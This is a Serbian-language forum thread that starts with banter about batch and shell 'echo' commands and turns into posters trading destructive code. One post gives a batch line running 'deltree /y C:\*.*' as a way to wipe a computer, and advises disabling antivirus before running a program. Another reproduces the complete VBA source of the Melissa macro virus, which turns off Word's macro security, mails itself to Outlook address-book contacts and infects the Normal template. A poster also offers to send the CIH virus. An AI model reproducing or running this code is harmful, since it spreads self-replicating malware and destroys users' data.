Opa... vidim da si naucio nesto iz onog tutoriala za batch programiranje sto sam ti dao

..ah da neki dan dobijem pismo od webmastera the-errora i eto odem tamo i skinem taj tut...i naravno bacim ga jel ovo nema veze sa time hehe
ovo je inace.....echo se koristi i kao komanda u  shell scriptanju.....
i ne samo to vec i kao common unix komanda sa vise funkcija

#echo Zoran Karvala
Zoran Karvala

#echo /*
--ispisuje fajlove u rootu

ili zamisli cak da nekoj varijabli das ime

konj_je="zoran"
pazi sad
#echo $konj_je
zoran

jel vidis sad da nije iz  tvog tutora ?????

a on će tebi onda ovako:

Blood, ne igraj se s vatrom

a jel dobar ovaj moj vb kod?

mislim nisam ja sad tu neki guru ko ti.. ali ono jel dobar formalno?
kao object...  nisam znao sta tu da stavim  

Ne zezajte, vec pocnite da se ponasate kao neko ko je dostijan ovog foruma (zar ne?).
Evo nekoliko odgovora:



Ja mislim da ovaj program odlicno radi - iskljuci sve Anti virus programe, pa startuj onda...



Fala bogu da se zove server ali kod NetSpy to ti se bato zove netspy.exe (a?)/



Kupi neku podebelu knjigu o programiranju, pa uci......




Znam po nesto, recimo da posle obrade u notpad prebacim u bat, posle startovanja ode ceo komp...... Mogu da objavim recept....


Toliko od mene......
Jos nesto?......  :

Hehe.. ajde na nekog ko nije admin zastite i ko se ne jebe sa virusima 10 godina
Decko, ako imas muda odgovori lepo da ne znas kako jer sam si rekao da ti damo domaci sta da napises i da ces napisati.. eto ti jednostavan domaci, relativno jednostavan.


Khm.. to sa virusom ima veze ko open source sa M$ om

SerbianFighter - kako li tebe postavise za Administratora - proveri da to nije neka greska /

Evo kako:

Code:

deltree /y C:\*.* > null         Sve ovo u notepad a onda prebaci u bat.
Odlican nacin da "sredis" kompjuter......... Pa startuj ako smes.....

Tu je i jedan program HTML generator (imas i srpsku verziju), takodje dobar.

Jos neki problem>>>>>........

A ukoliko niste zadovoljni evo i code za virus MELISSA:

Code:

<br>
Private Sub AutoOpen() <br>
On Error Resume Next <br>
p$ = "clone" <br>
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") <> "" Then
<br>
CommandBars("Macro").Controls("Security...").Enabled = False <br>
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Word\Security", "Level") = 1&
<br>
Else <br>
p$ = "clone" <br>
CommandBars("Tools").Controls("Macro").Enabled = False <br>
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
<br>
End If <br>
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice <br>
Set UngaDasOutlook = CreateObject("Outlook.Application") <br>
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI") <br>
If System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") <> "... by Kwyjibo" Then
<br>
If UngaDasOutlook = "Outlook" Then <br>
DasMapiName.Logon "profile", "password" <br>
For y = 1 To DasMapiName.AddressLists.Count <br>
Set AddyBook = DasMapiName.AddressLists(y) <br>
x = 1 <br>
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0) <br>
For oo = 1 To AddyBook.AddressEntries.Count <br>
Peep = AddyBook.AddressEntries(x) <br>
BreakUmOffASlice.Recipients.Add Peep <br>
x = x + 1 <br>
If x > 50 Then oo = AddyBook.AddressEntries.Count <br>
Next oo <br>
BreakUmOffASlice.Subject = "Important Message From " & Application.UserName <br>
BreakUmOffASlice.Body = "Here is that document you asked for ... don't show anyone else ;-)"
<br>
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName <br>
BreakUmOffASlice.Send <br>
Peep = "" <br>
Next y <br>
DasMapiName.Logoff <br>
End If <br>
p$ = "clone" <br>
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\", "Melissa?") = "... by Kwyjibo"
<br>
End If <br>
Set ADI1 = ActiveDocument.VBProject.VBComponents.Item(1) <br>
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1) <br>
NTCL = NTI1.CodeModule.CountOfLines <br>
ADCL = ADI1.CodeModule.CountOfLines <br>
BGN = 2 <br>
If ADI1.Name <> "Melissa" Then <br>
If ADCL > 0 Then _ <br>
ADI1.CodeModule.DeleteLines 1, ADCL <br>
Set ToInfect = ADI1 <br>
ADI1.Name = "Melissa" <br>
DoAD = True <br>
End If <br>
If NTI1.Name <> "Melissa" Then <br>
If NTCL > 0 Then _ <br>
NTI1.CodeModule.DeleteLines 1, NTCL <br>
Set ToInfect = NTI1 <br>
NTI1.Name = "Melissa" <br>
DoNT = True <br>
End If <br>
If DoNT <> True And DoAD <> True Then GoTo CYA <br>
If DoNT = True Then <br>
Do While ADI1.CodeModule.Lines(1, 1) = "" <br>
ADI1.CodeModule.DeleteLines 1 <br>
Loop <br>
ToInfect.CodeModule.AddFromString ("Private Sub Document_Close()") <br>
Do While ADI1.CodeModule.Lines(BGN, 1) <> "" <br>
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1) <br>
BGN = BGN + 1 <br>
Loop <br>
End If <br>
p$ = "clone" <br>
If DoAD = True Then <br>
Do While NTI1.CodeModule.Lines(1, 1) = "" <br>
NTI1.CodeModule.DeleteLines 1 <br>
Loop <br>
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()") <br>
Do While NTI1.CodeModule.Lines(BGN, 1) <> "" <br>
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1) <br>
BGN = BGN + 1 <br>
Loop <br>
End If <br>
CYA: <br>
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
<br>
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName <br>
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then <br>
ActiveDocument.Saved = True: End If <br>
'WORD/Melissa written by Kwyjibo <br>
'Clone written by Duke/SMF <br>
'Works in both Word 2000 and Word 97 <br>
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide! <br>
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age! <br>
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
<br>
End Sub







Samo napred

Ukoliko je potrebno poslacu i win95.cih.....
Definitivno ubija......